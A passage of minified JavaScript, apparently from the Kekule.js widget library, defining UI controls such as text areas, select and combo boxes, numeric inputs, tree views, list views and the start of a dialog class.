"+i.BUTTONTEXTBOX},doCreateSubElements:function(e,t){var i=this.tryApplySuper("doCreateSubElements",[e,t]),n=this.createAssocButton();return n&&i.push(n.getElement()),i},createAssocButton:function(){var e=new Kekule.Widget.Button(this);return e.setShowText(!1),this.setTailingWidget(e),e.addEventListener("change",this.adjustWidgetsSize,this),e.addEventListener("execute",function(e){this.invokeEvent("buttonExecute",{widget:this})},this),e},execBtn:function(e){var t=this.getButton();if(t)return t.execute(e),!0},react_keypress:function(e){13===e.getKeyCode()&&this.execBtn(e)},react_keydown:function(e){if(this.getButtonKind()===Kekule.Widget.Button.Kinds.DROPDOWN){var t=Kekule.X.Event.KeyCode;e.getKeyCode()===t.DOWN&&this.execBtn(e)}}}),Kekule.Widget.TextArea=Class.create(Kekule.Widget.FormWidget,{CLASS_NAME:"Kekule.Widget.TextArea",BINDABLE_TAG_NAMES:["textarea"],initialize:function(e,t){this.tryApplySuper("initialize",[e]),t&&this.setText(t)},initProperties:function(){this.defineProp("text",{dataType:DataType.STRING,getter:function(){return this.getValue()},setter:function(e){this.setValue(e),this.adjustAutoSize()}}),this.defineProp("placeholder",{dataType:DataType.STRING,getter:function(){return this.getElement().placeholder},setter:function(e){this.getElement().placeholder=e}}),this.defineProp("autoSizeX",{dataType:DataType.BOOL,setter:function(e){this.setPropStoreFieldValue("autoSizeX",e),this._autoSizeChanged()}}),this.defineProp("autoSizeY",{dataType:DataType.BOOL,setter:function(e){this.setPropStoreFieldValue("autoSizeY",e),this._autoSizeChanged()}}),this.defineProp("wrap",{dataType:DataType.STRING,getter:function(){return this.getElement().wrap},setter:function(e){this.getElement().wrap=e}})},doGetWidgetClassName:function(){return this.tryApplySuper("doGetWidgetClassName")+" "+i.TEXTAREA},doCreateRootElement:function(e){return e.createElement("textarea")},doBindElement:function(e){this.tryApplySuper("doBindElement",[e]),this.adjustAutoSize()},setValue:function(e){this.tryApplySuper("setValue",[e]),this.adjustAutoSize()},widgetShowStateChanged:function(e,t){this.tryApplySuper("widgetShowStateChanged",[e,t]),e&&this.adjustAutoSize()},doFileDragDrop:function(e){if(e){if(Kekule.BrowserFeature.fileapi){var t=this,i=new FileReader;i.onload=function(e){var n=i.result;t.setText(n)},i.readAsText(e[0])}return!0}return this.tryApplySuper("doFileDragDrop")},reactValueChange:function(){this.adjustAutoSize(),this.tryApplySuper("reactValueChange")},react_keyup:function(){this.adjustAutoSize()},react_keypress:function(){this.adjustAutoSize()},doWidgetShowStateChanged:function(e){e&&this.adjustAutoSize()},_autoSizeChanged:function(){var e=this.getCoreElement().style;this.getAutoSizeX()?(e.overflowX="hidden",this.setWrap("off")):(e.overflowX="auto",this.setWrap("")),this.getAutoSizeY()?e.overflowY="hidden":e.overflowY="auto",this.adjustAutoSize()},adjustAutoSize:function(){(this.getAutoSizeX()||this.getAutoSizeY())&&this.adjustSizeByContent()},adjustSizeByContent:function(){var e=this.getCoreElement(),t=!this.getText(),i=e.style;this.getAutoSizeX()&&(i.width="1px"),this.getAutoSizeY()&&(i.height="1px");var n=Kekule.HtmlElementUtils.getElemScrollDimension(e),s=Kekule.HtmlElementUtils.getElemClientDimension(e);this.getAutoSizeX()&&(t?i.width="1em":n.width>s.width&&(i.width=n.width+"px")),this.getAutoSizeY()&&(t&&(i.height="1em"),n.height>s.height&&(i.height=n.height+"px"))}}),Kekule.Widget.SelectBox=Class.create(Kekule.Widget.FormWidget,{CLASS_NAME:"Kekule.Widget.SelectBox",BINDABLE_TAG_NAMES:["select"],ITEM_DATA_FIELD:"__$item_data__",ITEM_VALUE_FIELD:"__$item_value__",initialize:function(e,t){this.tryApplySuper("initialize",[e]),t&&this.setItems(t)},initProperties:function(){this.defineProp("items",{dataType:DataType.ARRAY,serializable:!1,getter:function(){for(var e=this.getAllItemElems(),t=[],i=0,n=e.length;i<n;++i){var s=e[i],r=this._getBoxItemInfo(s);t.push(r)}return t},setter:function(e){var t=this.getElement();if(this.clear(),e)for(var i=Kekule.ArrayUtils.toArray(e),n=0,s=i.length;n<s;++n){var r=i[n];if(r){var a=this._createBoxItemElem(t);this._setBoxItemInfo(a,r)}}}}),this.defineProp("index",{dataType:DataType.INT,getter:function(){return this.getElement().selectedIndex},setter:function(e){this.getElement().selectedIndex=e}})},doGetWidgetClassName:function(){return this.tryApplySuper("doGetWidgetClassName")+" "+i.SELECTBOX},doCreateRootElement:function(e){return e.createElement("select")},_createBoxItemElem:function(e,t){var i=e.ownerDocument.createElement("option");return t?e.insertBefore(i,t):e.appendChild(i),i},doBindElement:function(e){this.tryApplySuper("doBindElement",[e])},doGetValue:function(){var e=this.getSelectedItemElem();return e?this._getBoxItemInfo(e).value:void 0},doSetValue:function(e){for(var t=this.getAllItemElems(),i=0,n=t.length;i<n;++i){var s=t[i];if(this._getBoxItemInfo(s).value===e)return void this.setIndex(i)}this.setIndex(-1)},getAllItemElems:function(){return e.getDirectChildElems(this.getElement(),"option")},getSelectedItemElem:function(){for(var e=this.getAllItemElems(),t=0,i=e.length;t<i;++t){var n=e[t];if(n.selected)return n}return null},clear:function(){this.getElement().innerHTML=""},dropDown:function(){this.getDocument(),this.getElement();var e=this.getDocument().createEvent("MouseEvents");e.initEvent("mousedown",!0,!0),this.getElement().dispatchEvent(e)},_getBoxItemInfo:function(e){var i={};return i.text=t.getInnerText(e),i.value=e[this.ITEM_VALUE_FIELD],n.notUnset(e.title)&&(i.title=e.title),n.notUnset(e[this.ITEM_DATA_FIELD])&&(i.data=e[this.ITEM_DATA_FIELD]),i},_setBoxItemInfo:function(e,t){DataType.isSimpleValue(t)&&(t={value:t});var i=t.text||t.value;return n.notUnset(i)&&Kekule.DomUtils.setElementText(e,i),e.value=""+t.value,e[this.ITEM_VALUE_FIELD]=t.value,n.notUnset(t.title)&&(e.title=t.title),n.notUnset(t.data)&&(e[this.ITEM_DATA_FIELD]=t.data),t.selected?e.setAttribute("selected","selected"):e.selected=!1,this}}),Kekule.Widget.ComboBox=Class.create(Kekule.Widget.FormWidget,{CLASS_NAME:"Kekule.Widget.ComboBox",BINDABLE_TAG_NAMES:["div","span"],initialize:function(e){this.tryApplySuper("initialize",[e])},initProperties:function(){this.defineProp("text",{dataType:DataType.STRING,serializable:!1,getter:function(){var e=this.getTextBox();return e?e.getText():null},setter:function(e){var t=this.getTextBox();t&&(t.setText(e),this.textChanged())}}),this.defineProp("items",{dataType:DataType.ARRAY,serializable:!1,getter:function(){var e=this.getSelectBox();return e?e.getItems():null},setter:function(e){var t=this.getSelectBox();t&&t.setItems(e)}}),this.defineProp("textBox",{dataType:"Kekule.Widget.TextBox",serializable:!1,setter:null,scope:Class.PropertyScope.PRIVATE}),this.defineProp("selectBox",{dataType:"Kekule.Widget.SelectBox",serializable:!1,setter:null,scope:Class.PropertyScope.PRIVATE})},finalize:function(){this._finalizeSubElements(),this.tryApplySuper("finalize")},_finalizeSubElements:function(){var e=this.getTextBox();e&&e.finalize();var t=this.getSelectBox();t&&t.finalize()},getCoreElement:function(){var e=this.getTextBox();return e?e.getElement():this.tryApplySuper("getCoreElement")},doGetWidgetClassName:function(){return this.tryApplySuper("doGetWidgetClassName")+" "+i.COMBOBOX},doCreateRootElement:function(e){return e.createElement("span")},doCreateSubElements:function(e,t){var n=this;this._finalizeSubElements();var s=e.createElement("span");s.className=i.COMBOBOX_TEXTWRAPPER,t.appendChild(s);var r=new Kekule.Widget.TextBox(this);r.appendToElem(s),this.setPropStoreFieldValue("textBox",r);var a=new Kekule.Widget.SelectBox(this);return a.appendToElem(t),this.setPropStoreFieldValue("selectBox",a),a.addEventListener("valueChange",function(e){var t=a.getSelectedItemElem();if(t){var i=t.value,s=t.text||t.value;s!==r.getText()&&(r.setText(s),n.notifyValueChanged()),r.selectAll(),r.focus(),n.invokeEvent("valueSelect",{widget:n,value:i})}}),r.addEventListener("valueChange",function(e){n.textChanged()}),Kekule.X.Event.addListener(r.getElement(),"keydown",function(e){e.getKeyCode()===Kekule.X.Event.KeyCode.DOWN&&a.dropDown()}),[s]},relayEvent:function(e,t){var i=t.widget;if(i!==this.getTextBox()&&i!==this.getSelectBox()||(t.widget=this,"valueChange"!==e))return this.tryApplySuper("relayEvent",[e,t])},textChanged:function(){var e=this.getText(),t=this._getValueOfText(e);this.getSelectBox().setValue(t)},_getValueOfText:function(e){for(var t=this.getSelectBox().getItems(),i=0,n=t.length;i<n;++i){var s=t[i];if(s.text&&s.text===e)return s.value}return e},doSetEnabled:function(e){var t=this.getTextBox();t&&t.setEnabled(e);var i=this.getSelectBox();i&&i.setEnabled(e)},doGetValue:function(){var e=this.tryApplySuper("doGetValue");return this._getValueOfText(e)},doSetValue:function(e){var t=e,i=this.getSelectBox().getItems();this.getSelectBox().setIndex(-1);for(var n=0,s=i.length;n<s;++n){var r=i[n];if(r.value===e){t=r.text||r.value,this.getSelectBox().setIndex(n);break}}this.tryApplySuper("doSetValue",[t])}}),Kekule.Widget.NumInput=Class.create(Kekule.Widget.FormWidget,{CLASS_NAME:"Kekule.Widget.NumInput",BINDABLE_TAG_NAMES:["input"],DEF_MIN_VALUE:0,DEF_MAX_VALUE:100,DEF_STEP:1,initialize:function(e,t,i,s,r){this.tryApplySuper("initialize",[e]),n.notUnset(t)&&this.setMinValue(t),n.notUnset(i)&&this.setMaxValue(i),n.notUnset(s)&&this.setStep(s),r&&this.setControlType(r)},initProperties:function(){this.defineProp("minValue",{dataType:DataType.NUMBER,getter:function(){return parseFloat(this.getElement().min)||null},setter:function(e){this.getElement().min=e}}),this.defineProp("maxValue",{dataType:DataType.NUMBER,getter:function(){return parseFloat(this.getElement().max)||null},setter:function(e){this.getElement().max=e}}),this.defineProp("step",{dataType:DataType.NUMBER,getter:function(){return parseFloat(this.getElement().step)||null},setter:function(e){this.getElement().step=e}}),this.defineProp("controlType",{dataType:DataType.STRING,getter:function(){return this.getElement().getAttribute("type")},setter:function(e){this.getElement().setAttribute("type",e)}})},doGetValue:function(){var e=this.tryApplySuper("doGetValue");return e?parseFloat(e):0},doGetWidgetClassName:function(){return this.tryApplySuper("doGetWidgetClassName")+" "+i.NUMINPUT},doCreateRootElement:function(e){return e.createElement("input")},doBindElement:function(e){this.tryApplySuper("doBindElement",[e]),e.setAttribute("type","range")}})}(),function(){"use strict";Kekule.Widget.HtmlClassNames=Object.extend(Kekule.Widget.HtmlClassNames,{STATE_COLLAPSED:"K-State-Collapsed",STATE_EMPTY:"K-State-Empty",NESTED_CONTAINER:"K-NestedContainer",NESTED_CONTAINER_ITEM:"K-NestedContainer-Item"}),Kekule.Widget.NestedContainer=Class.create(Kekule.Widget.BaseWidget,{CLASS_NAME:"Kekule.Widget.NestedContainer",DEF_CONTAINER_TAG:"ul",DEF_ITEM_TAG:"li",ITEM_DATA_FIELD:"__$itemData__",initialize:function(e){this.tryApplySuper("initialize",[e])},initProperties:function(){this.defineProp("itemInitialExpanded",{dataType:DataType.BOOL})},doCreateRootElement:function(e){return e.createElement("div")},doBindElement:function(e){this.tryApplySuper("doBindElement",[e])},getContainerElemTag:function(){return this.DEF_CONTAINER_TAG},getItemElemTag:function(){return this.DEF_ITEM_TAG},_createChildItemElem:function(){var e=this.doCreateChildItemElem();return Kekule.HtmlElementUtils.addClass(e,Kekule.Widget.HtmlClassNames.NESTED_CONTAINER_ITEM),Kekule.HtmlElementUtils.addClass(e,Kekule.Widget.HtmlClassNames.STATE_EMPTY),e},doCreateChildItemElem:function(){return this.getDocument().createElement(this.getItemElemTag())},_createChildContainerElem:function(){var e=this.doCreateChildContainerElem();return Kekule.HtmlElementUtils.addClass(e,Kekule.Widget.HtmlClassNames.NESTED_CONTAINER),e},doCreateChildContainerElem:function(){return this.getDocument().createElement(this.getContainerElemTag())},getChildContainerElem:function(e,t){e||(e=this.getElement());var i=e.getElementsByTagName(this.getContainerElemTag()),n=i.length?i[0]:null;return!n&&t&&(n=this._createChildContainerElem(),e.appendChild(n)),n},getItemData:function(e){return e[this.ITEM_DATA_FIELD]},setItemData:function(e,t){this.doSetItemData(e,t),e[this.ITEM_DATA_FIELD]=t;var i=t.children;if(i&&Kekule.ArrayUtils.isArray(i)){this.clearChildItems(e);for(var n=0,s=i.length;n<s;++n){var r=i[n];this.appendChildItem(e,r)}}return this},doSetItemData:function(e,t){},hasChildItem:function(e){return this.getChildItemCount(e)>0},getChildItemCount:function(e){return this.getChildren(e).length},getChildren:function(e){var t=this.getChildContainerElem(e);return t?Kekule.DomUtils.getDirectChildElems(t,this.getItemElemTag()):[]},getChildItemAt:function(e,t){var i=this.getChildren(e);return i.length&&i.length>t?i[t]:null},insertChildItem:function(e,t,i){var n=this.getChildContainerElem(e,!0);if(t&&Kekule.DomUtils.isElement(t))s=t;else{var s=this._createChildItemElem();this.getItemInitialExpanded()||Kekule.HtmlElementUtils.addClass(s,Kekule.Widget.HtmlClassNames.STATE_COLLAPSED),t&&this.setItemData(s,t)}var r=DataType.isSimpleType(i)?this.getChildren(e)[i]:i;return r?n.insertBefore(s,r):n.appendChild(s),this.childItemsChanged(e),s},appendChildItem:function(e,t){return this.insertChildItem(e,t)},removeChildItem:function(e,t){var i=this.getChildContainerElem(e);return i&&(i.removeChild(t),this.hasChildItem(e)||e.removeChild(i),this.childItemsChanged(e)),this},removeChildItemAt:function(e,t){var i=this.getChildItemAt(e,t);return i&&this.removeChildItem(e,i),this},clearChildItems:function(e){var t=this.getChildContainerElem(e);e||(e=this.getElement()),t&&e.removeChild(t),this.childItemsChanged(e)},childItemsChanged:function(e){if(e){var t=Kekule.Widget.HtmlClassNames.STATE_EMPTY;this.hasChildItem(e)?Kekule.HtmlElementUtils.removeClass(e,t):Kekule.HtmlElementUtils.addClass(e,t)}},expandItem:function(e){return Kekule.HtmlElementUtils.removeClass(e,Kekule.Widget.HtmlClassNames.STATE_COLLAPSED),this},collapseItem:function(e){return Kekule.HtmlElementUtils.addClass(e,Kekule.Widget.HtmlClassNames.STATE_COLLAPSED),this},toggleExpandStateOfItem:function(e){return Kekule.HtmlElementUtils.toggleClass(e,Kekule.Widget.HtmlClassNames.STATE_COLLAPSED),this},isChildItem:function(e){return Kekule.HtmlElementUtils.hasClass(e,Kekule.Widget.HtmlClassNames.NESTED_CONTAINER_ITEM)},getBelongedChildItem:function(e){for(var t=e,i=this.getElement(),n=this.getDocument().body;t!==i&&t!==n;)if(t=t.parentNode,this.isChildItem(t))return t;return null},getAllChildItems:function(e){var t=[],i=this.getChildContainerElem(e,!1);if(i)for(var n=Kekule.DomUtils.getDirectChildElems(i),s=0,r=n.length;s<r;++s){var a=n[s];if(this.isChildItem(a)){t.push(a);var o=this.getAllChildItems(a);t=t.concat(o)}}return t},getChildItemRange:function(e,t,i){var n=this.getAllChildItems(i),s=n.indexOf(e),r=n.indexOf(t);if(s>=0&&r>=0){if(s>r){var a=!0,o=s;s=r,r=o}var l=n.slice(s,r+1);return a&&(l=l.reverse()),l}return[]}})}(),function(){"use strict";Kekule.HtmlElementUtils;var e=Kekule.Widget.HtmlClassNames;Kekule.Widget.HtmlClassNames=Object.extend(Kekule.Widget.HtmlClassNames,{TREEVIEW:"K-TreeView",TREEVIEW_EXPANDMARK:"K-TreeView-ExpandMark",TREEVIEW_ITEMCONTENT:"K-TreeView-ItemContent"}),Kekule.Widget.TreeView=Class.create(Kekule.Widget.NestedContainer,{CLASS_NAME:"Kekule.Widget.TreeView",BELONGED_ITEM_FIELD:"__$treeItem__",initProperties:function(){this.defineProp("selection",{dataType:DataType.ARRAY,serializable:!1,scope:Class.PropertyScope.PUBLIC,getter:function(){var e=this.getPropStoreFieldValue("selection");return e||(e=[],this.setPropStoreFieldValue("selection",e)),e},setter:function(e){this.select(e)}}),this.defineProp("selectedItem",{dataType:DataType.OBJECT,serializable:!1,getter:function(){var e=this.getSelection();return e.length?e[e.length-1]:null},setter:function(e){this.select(e)}}),this.defineProp("autoScrollToSelected",{dataType:DataType.BOOL}),this.defineProp("enableMultiSelect",{dataType:DataType.BOOL})},doGetWidgetClassName:function(){return this.tryApplySuper("doGetWidgetClassName")+" "+e.TREEVIEW},doCreateChildItemElem:function(){var t=this.tryApplySuper("doCreateChildItemElem");if(t){var i=this.createGlyphContent(t,null,e.TREEVIEW_EXPANDMARK);i[this.BELONGED_ITEM_FIELD]=t,t._expandMarkerElem=i;var n=this.getDocument().createElement("span");n.className=e.TREEVIEW_ITEMCONTENT,t.appendChild(n),n[this.BELONGED_ITEM_FIELD]=t,t._contentElem=n}return t},doSetItemData:function(e,t){this.setItemText(e,t.text)},getExpandMarkerElem:function(e){return e._expandMarkerElem},getItemContentElem:function(e){return e._contentElem},getTextPartElem:function(e,t){var i=e._textPartElem;return!i&&t&&(i=this.createTextContent("",this.getItemContentElem(e)),e._textPartElem=i),i},setItemText:function(e,t){this.getTextPartElem(e,!0).innerHTML=t},isItemSelected:function(e){var t=this.getSelection();return!!t&&t.indexOf(e)>=0},selectionChanged:function(){if(this.getAutoScrollToSelected()){var e=this.getSelectedItem();e&&e.scrollIntoView&&e.scrollIntoViewIfNeeded()}this.notifyPropSet("selection",this.getSelection()),this.invokeEvent("selectionChange",{selection:this.getSelection(),selectedItem:this.getSelectedItem()})},clearSelection:function(){var t=this.getSelection();if(t.length){for(var i=0,n=t.length;i<n;++i){var s=t[i];Kekule.HtmlElementUtils.removeClass(this.getItemContentElem(s),e.STATE_SELECTED)}this.setPropStoreFieldValue("selection",[]),this.selectionChanged()}return this},removeFromSelection:function(t){if(t){var i=Kekule.ArrayUtils.toArray(t);if(i&&i.length){for(var n=this.getSelection(),s=0,r=i.length;s<r;++s){var a=i[s];Kekule.ArrayUtils.remove(n,a)&&Kekule.HtmlElementUtils.removeClass(this.getItemContentElem(a),e.STATE_SELECTED)}this.selectionChanged()}}return this},addToSelection:function(t){if(t){var i=Kekule.ArrayUtils.toArray(t);if(i&&i.length){this.getEnableMultiSelect()||(this.clearSelection(),i=[i[i.length-1]]);for(var n=this.getSelection(),s=0,r=i.length;s<r;++s){var a=i[s];this.isItemSelected(a)||(Kekule.HtmlElementUtils.addClass(this.getItemContentElem(a),e.STATE_SELECTED),n.push(a))}this.selectionChanged()}}return this},toggleSelectionState:function(e){if(e){this.beginUpdate();try{var t=Kekule.ArrayUtils.toArray(e);this.getSelection();if(t&&t.length)for(var i=0,n=t.length;i<n;++i){var s=t[i];this.isItemSelected(s)?this.removeFromSelection(s):this.addToSelection(s)}}finally{this.endUpdate()}}},select:function(e,t){this.beginUpdate();try{if(this.clearSelection(),e)if(this.getEnableMultiSelect())this.addToSelection(e);else{var i=Kekule.ArrayUtils.toArray(e);this.addToSelection(i[i.length-1])}}finally{this.endUpdate()}},react_click:function(e){var t=e.getTarget(),i=t[this.BELONGED_ITEM_FIELD];if(i&&this.isChildItem(i))this.toggleExpandStateOfItem(i);else if(i=this.getBelongedChildItem(t),e.getShiftKey()){var n=this.getSelectedItem();if(n){var s=this.getChildItemRange(n,i);s.length&&(e.getCtrlKey()?this.addToSelection(s):this.select(s))}else this.select(i)}else e.getCtrlKey()?this.toggleSelectionState(i):i&&this.select(i)},react_dblclick:function(e){var t=e.getTarget(),i=this.getBelongedChildItem(t);i&&this.toggleExpandStateOfItem(i)}})}(),function(){"use strict";var e=Kekule.DomUtils,t=Kekule.HtmlElementUtils,i=Kekule.Widget.HtmlClassNames;Kekule.Widget.HtmlClassNames=Object.extend(Kekule.Widget.HtmlClassNames,{LISTVIEW:"K-ListView",LISTVIEW_ITEM_HOLDER:"K-ListView-ItemHolder",LISTVIEW_ITEM:"K-ListView-Item",LISTVIEW_ITEMCONTENT:"K-ListView-ItemContent"}),Kekule.Widget.ListView=Class.create(Kekule.Widget.BaseWidget,{CLASS_NAME:"Kekule.Widget.ListView",ITEM_DATA_FIELD:"__$itemData__",initialize:function(e){this.setPropStoreFieldValue("enableSelect",!0),this.setPropStoreFieldValue("enableMultiSelect",!0),this.tryApplySuper("initialize",[e])},initProperties:function(){this.defineProp("items",{dataType:DataType.ARRAY,serializable:!1,getter:function(){for(var t=[],i=e.getDirectChildElems(this.getChildrenHolderElement()),n=0,s=i.length;n<s;++n){var r=i[n];this.isChildItemElem(r)&&t.push(r)}return t}}),this.defineProp("enableSelect",{dataType:DataType.BOOL,setter:function(e){this.setPropStoreFieldValue("enableSelect",e),e||this.clearSelection()}}),this.defineProp("enableMultiSelect",{dataType:DataType.BOOL,setter:function(e){this.setPropStoreFieldValue("enableMultiSelect",e),e||this.clearSelection()}}),this.defineProp("enableSelectInSelection",{dataType:DataType.BOOL,setter:function(e){this.setPropStoreFieldValue("enableSelectInSelection",e);var n=this.getSelectedItem();n&&(e?t.addClass(n,i.STATE_CURRENT_SELECTED):t.removeClass(n,i.STATE_CURRENT_SELECTED))}}),this.defineProp("selection",{dataType:DataType.ARRAY,serializable:!1,scope:Class.PropertyScope.PUBLIC,getter:function(){var e=this.getPropStoreFieldValue("selection");return e||(e=[],this.setPropStoreFieldValue("selection",e)),e},setter:function(e){this.select(e)}}),this.defineProp("currSelectedItem",{dataType:DataType.OBJECT,serializable:!1,getter:function(){return this.getSelectedItem()},setter:function(e){this.setSelectedItem(e)}}),this.defineProp("selectedItem",{dataType:DataType.OBJECT,serializable:!1,getter:function(){var e=this.getSelection();return e.length?e[e.length-1]:null},setter:function(e){var t=this.getBelongedChildItem(e);if(t)if(this.getEnableSelectInSelection()){var i=this.getSelection(),n=i.indexOf(t);n>=0?(this.prepareChangingSelection(),i.splice(n,1),i.push(t),this.selectionChanged()):this.select(t)}else this.select(t);else this.clearSelection()}})},doCreateSubElements:function(e,t){var n=this.tryApplySuper("doCreateSubElements",[]);return this._holderElem=e.createElement("ul"),this._holderElem.className=i.LISTVIEW_ITEM_HOLDER,t.appendChild(this._holderElem),n=n.concat(this._holderElem)},getChildrenHolderElement:function(){return this._holderElem},doGetWidgetClassName:function(){return this.tryApplySuper("doGetWidgetClassName")+" "+i.LISTVIEW},doCreateRootElement:function(e){return e.createElement("ul")},getItemClassName:function(){return i.LISTVIEW_ITEM},createChildItem:function(e){var i=this.doCreateChildItem(e);return i&&(t.addClass(i,this.getItemClassName()),e&&this.setItemData(i,e)),i},doCreateChildItem:function(e){return this.getDocument().createElement("li")},getItemData:function(e){return e[this.ITEM_DATA_FIELD]},setItemData:function(e,t){return this.doSetItemData(e,t),e[this.ITEM_DATA_FIELD]=t,this},doSetItemData:function(t,i){i&&(i.text&&e.setElementText(t,i.text),i.hint&&t.setAttribute("title",i.hint))},isChildItemElem:function(e){return e.parentNode===this.getChildrenHolderElement()&&t.hasClass(e,i.LISTVIEW_ITEM)},getBelongedChildItem:function(t){return e.isDescendantOf(t,this.getElement())?this.isChildItemElem(t)?t:this.getBelongedChildItem(t.parentNode):null},getAllChildItems:function(){for(var t=[],i=e.getDirectChildElems(this.getChildrenHolderElement()),n=0,s=i.length;n<s;++n){var r=i[n];this.isChildItemElem(r)&&t.push(r)}return t},getChildItemElemRange:function(e,t){var i=this.getAllChildItems(),n=i.indexOf(e),s=i.indexOf(t);if(n>=0&&s>=0){if(n>s){var r=!0,a=n;n=s,s=a}var o=i.slice(n,s+1);return r&&(o=o.reverse()),o}return[]},indexOfItem:function(e){var t=-1,i=this.getBelongedChildItem(e);i&&(t=this.getAllChildItems().indexOf(i));return t},getItemAt:function(e){return this.getAllChildItems()[e]},_itemInserted:function(e){t.addClass(e,this.getItemClassName())},_itemRemoved:function(e){this.isItemSelected(e)&&this.removeFromSelection(e),t.removeClass(e,this.getItemClassName())},appendItem:function(t){return t?e.isElement(t)||(t=this.createChildItem(t)):t=this.createChildItem(),this.getChildrenHolderElement().appendChild(t),this._itemInserted(t),t},insertItemBefore:function(t,i){t?e.isElement(t)||(t=this.createChildItem(t)):t=this.createChildItem();var n=i&&this.getBelongedChildItem(i);return n?(this.getChildrenHolderElement().insertBefore(t,n),this._itemInserted(t),t):this.appendItem(t)},removeItem:function(e){var t=this.getBelongedChildItem(e);return this.getChildrenHolderElement().removeChild(t),this._itemRemoved(t),e},removeItems:function(e){for(var t=e.length-1;t>=0;--t)this.removeItem(e[t]);return this},clearItems:function(){this.select();var e=this.getItems();return this.removeItems(e),this},isItemSelected:function(e){var t=this.getSelection();return!!t&&t.indexOf(e)>=0},prepareChangingSelection:function(){this._prevSelectedItem=this.getSelectedItem()},selectionChanged:function(e,n){var s={selection:this.getSelection(),selectedItem:this.getSelectedItem(),added:e,removed:n},r=this.getSelectedItem();this._prevSelectedItem&&this._prevSelectedItem!==r&&(s.prevSelectedItem=this._prevSelectedItem,t.removeClass(this._prevSelectedItem,i.STATE_CURRENT_SELECTED),this._prevSelectedItem=null),r&&this.getEnableSelectInSelection()&&t.addClass(r,i.STATE_CURRENT_SELECTED),this.notifyPropSet("selection",this.getSelection()),this.invokeEvent("selectionChange",s)},clearSelection:function(){var e=this.getSelection();return e.length&&(this.prepareChangingSelection(),this.doClearSelection(),this.selectionChanged(null,e)),this},doClearSelection:function(){var e=this.getSelection();if(e.length){for(var n=0,s=e.length;n<s;++n){var r=this.getBelongedChildItem(e[n]);t.removeClass(r,[i.STATE_SELECTED,i.STATE_CURRENT_SELECTED])}this.setPropStoreFieldValue("selection",[])}},removeFromSelection:function(e){if(e){var n=[],s=Kekule.ArrayUtils.toArray(e);if(s&&s.length){var r=this.getSelection();this.prepareChangingSelection();for(var a=0,o=s.length;a<o;++a){var l=s[a];Kekule.ArrayUtils.remove(r,l)&&(t.removeClass(this.getBelongedChildItem(l),[i.STATE_SELECTED,i.STATE_CURRENT_SELECTED]),n.push(l))}this.selectionChanged(null,n)}}return this},addToSelection:function(e){if(e){var t=Kekule.ArrayUtils.toArray(e);if(t&&t.length){this.prepareChangingSelection();var i=this.doAddToSelection(t);this.selectionChanged(i)}}return this},doAddToSelection:function(e){var n=[],s=Kekule.ArrayUtils.toArray(e);if(s&&s.length){this.getEnableMultiSelect()||this.clearSelection();for(var r=this.getSelection(),a=0,o=s.length;a<o;++a){var l=s[a];this.isItemSelected(l)||(t.addClass(this.getBelongedChildItem(l),i.STATE_SELECTED),r.splice(r.length-1,0,l),n.push(l))}}return n},toggleSelectionState:function(e){if(e){this.beginUpdate();try{var t=Kekule.ArrayUtils.toArray(e);this.getSelection();if(t&&t.length)for(var i=0,n=t.length;i<n;++i){var s=t[i];this.isItemSelected(s)?this.removeFromSelection(s):this.addToSelection(s)}}finally{this.endUpdate()}}},select:function(e){this.beginUpdate();try{if(this.getSelection().length&&this.clearSelection(),e){var t=Kekule.ArrayUtils.toArray(e),i=this.getEnableMultiSelect()?t:t[t.length-1];this.addToSelection(i)}}finally{this.endUpdate()}},react_click:function(e){if(this.getEnableSelect()){var t=e.getTarget(),i=this.getBelongedChildItem(t);if(i)if(this.getEnableMultiSelect())if(e.getShiftKey()){var n=this.getSelectedItem();if(n){var s=this.getChildItemElemRange(n,i);s.length&&(e.getCtrlKey()?this.addToSelection(s):this.select(s))}else this.select(i)}else e.getCtrlKey()?this.toggleSelectionState(i):i&&(this.getEnableSelectInSelection()&&this.isItemSelected(i)?this.setSelectedItem(i):this.select(i));else this.select(i);else this.select(null)}return this.tryApplySuper("react_click",[e])}})}(),function(){"use strict";var e=Kekule.DomUtils,t=(Kekule.HtmlElementUtils,Kekule.StyleUtils),i=Kekule.Widget.HtmlClassNames;Kekule.Widget.HtmlClassNames=Object.extend(Kekule.Widget.HtmlClassNames,{DIALOG:"K-Dialog",DIALOG_INSIDE:"K-Dialog-Inside",DIALOG_OVERFLOW:"K-Dialog-Overflow",DIALOG_CLIENT:"K-Dialog-Client",DIALOG_CAPTION:"K-Dialog-Caption",DIALOG_BTN_PANEL:"K-Dialog-Button-Panel"}),Kekule.Widget.DialogButtons={OK:"ok",CANCEL:"cancel",YES:"yes",NO:"no",isPositive:function(e){var t=Kekule.Widget.DialogButtons;return[t.OK,t.YES].indexOf(e)>=0},isNegative:function(e){var t=Kekule.Widget.DialogButtons;return[t.CANCEL,t.NO].indexOf(e)>=0}},Kekule.Widget.Location={DEFAULT:1,CENTER:2,FULLFILL:3,CENTER_OR_FULLFILL:4},Kekule.Widget.Dialog=Class.create(Kekule.Widget.BaseWidget,{CLASS_NAME:"Kekule.Widget.Dialog",BINDABLE_TAG_NAMES:["div","span"],BTN_NAME_FIELD:"__$btnName__",initialize:function(e,t,i){this._dialogCallback=null,this._modalInfo=null,this._childButtons=[],this.setPropStoreFieldValue("location",Kekule.Widget.Location.CENTER),this.tryApplySuper("initialize",[e]),this._dialogOpened=!1,this.setUseCornerDecoration(!0),t&&this.setCaption(t),i&&this.setButtons(i),this.setDisplayed(!1)},doFinalize:function(){this.getModalInfo()&&this.getGlobalManager().unprepareModalWidget(this),this.tryApplySuper("doFinalize")},initProperties:function(){this.defineProp("caption",{dataType:DataType.STRING,getter:function(){return e.getElementText(this.getCaptionElem())},setter:function(i){e.setElementText(this.getCaptionElem(),i),t.setDisplay(this.getCaptionElem(),!!i)}}),this.defineProp("buttons",{dataType:DataType.ARRAY,setter:function(e){this.setPropStoreFieldValue("buttons",e),this.getBtnPanelElem()&&t.setDisplay(this.getBtnPanelElem(),e&&e.length),this.buttonsChanged()}}),this.defineProp("result",{dataType:DataType.STRING,serializable:!1,scope:Class.PropertyScope.PUBLIC}),this.defineProp("location",{dataType:DataType.INT}),this.defineProp("clientElem",{dataType:DataType.OBJECT,serializable:!1,setter:null,scope:Class.PropertyScope.PUBLIC}),this.defineProp("captionElem",{dataType:DataType.OBJECT,serializable:!1,setter:null,scope:Class.PropertyScope.PUBLIC}),this.defineProp("btnPanelElem",{dataType:DataType.OBJECT,serializable:!1,setter:null,scope:Class.PropertyScope.PUBLIC})},initPropValues:function(){this.tryApplySuper("initPropValues"),this.setMovable&&this.setMovable(!0)},getDefaultMovingGripper:function(){return 